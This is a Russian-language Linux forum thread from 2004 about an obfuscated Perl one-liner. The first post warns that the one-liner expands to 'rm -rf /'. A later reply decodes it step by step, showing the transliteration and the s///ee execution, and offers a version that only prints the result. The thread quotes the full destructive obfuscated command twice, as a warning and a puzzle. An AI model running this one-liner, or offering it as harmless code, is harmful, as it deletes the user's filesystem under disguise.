Perl script

Модератор: Модераторы разделов

Аватара пользователя
flook
Сообщения: 585
Статус: Просто flook

Perl script

Сообщение flook »

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

это разворачивается в 'rm -rf /'
Так что не пускайте ;)

Вопрос такой - перл я знаю плохо, а узнать каким образом эта последовательность скобочек разбирается в rm хочется :)

Перологуруы, подскажите ;)
В каждом из нас спит гений... и с каждым днем все крепче...
Спасибо сказали:
Аватара пользователя
Soloven
Сообщения: 63

Re: Perl script

Сообщение Soloven »

Я бы сказал инече..... НЕ РАБОТАЙТЕ ПОД ROOT :dont:
The /dev/null где то рядом ©
Использовать компьютер только для игр все равно, что Использовать Ламборгини для перевозки картошки ©
Спасибо сказали:
Аватара пользователя
Mitya-ncc
Сообщения: 268
Статус: Живущий тут

Re: Perl script

Сообщение Mitya-ncc »

Найдётся у нас тут "just another perl hacker" какой-нибудь?
Я вот не понимаю как это работает... :(
В одном мгновеньи – видеть вечность,
Огромный мир в горсти песка,
В одной песчинке – бесконечность,
И небо в чашечке цветка.
Спасибо сказали:
Аватара пользователя
flook
Сообщения: 585
Статус: Просто flook

Re: Perl script

Сообщение flook »

:rolleyes:
В каждом из нас спит гений... и с каждым днем все крепче...
Спасибо сказали:
Аватара пользователя
madskull
Сообщения: 1019
Статус: Экс-металлюга

Re: Perl script

Сообщение madskull »

я тоже не понимаю. мало еще опыта. Вот в отпуске, если дадут, поковыряю
ArchLinux / IceWM
Спасибо сказали:
Аватара пользователя
Mitya-ncc
Сообщения: 268
Статус: Живущий тут

Re: Perl script

Сообщение Mitya-ncc »

На первый взгляд: "по моей клавиатуре ходила кошка" (с) не моё
и на второй тоже. :(
В одном мгновеньи – видеть вечность,
Огромный мир в горсти песка,
В одной песчинке – бесконечность,
И небо в чашечке цветка.
Спасибо сказали:
Аватара пользователя
madskull
Сообщения: 1019
Статус: Экс-металлюга

Re: Perl script

Сообщение madskull »

(Mitya-ncc @ Thursday, 29 July 2004, 2:31) писал(а):На первый взгляд: "по моей клавиатуре ходила кошка" (с) не моё
и на второй тоже. :(

А если присмотреться в третий раз, то начинаешь разбираться и понимать... что ходила собака!
ArchLinux / IceWM
Спасибо сказали:
Аватара пользователя
Drew
Сообщения: 2

Re: Perl script

Сообщение Drew »

(flook @ Monday, 26 July 2004, 17:31) писал(а):cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'


Для зрительного восприятия:
мусор

Код: Выделить всё

cat "test... test... test..." |


Код: Выделить всё

$? ? s/;s/s;;$?/ : s//=]=>%-{<-|}<&|`{/;

реально выполняется вторая часть, которая работает так:

Код: Выделить всё

$_= "=]=>%-{<-|}<&|`{";

Затем мы меняем $_ следующим куском в system"rm -rf /"

Код: Выделить всё

y; -/:-@[-`{-};`-{/" -;;

И следующим куском его исполняем

Код: Выделить всё

s;;$_;see

Т.е. сухой остаток от того кода (без выполнения, конечно):

Код: Выделить всё

perl -e ' $_= "=]=>%-{<-|}<&|`{"; y/ -\/:-@[-`{-}/`-{\/" -/; print;'
Спасибо сказали: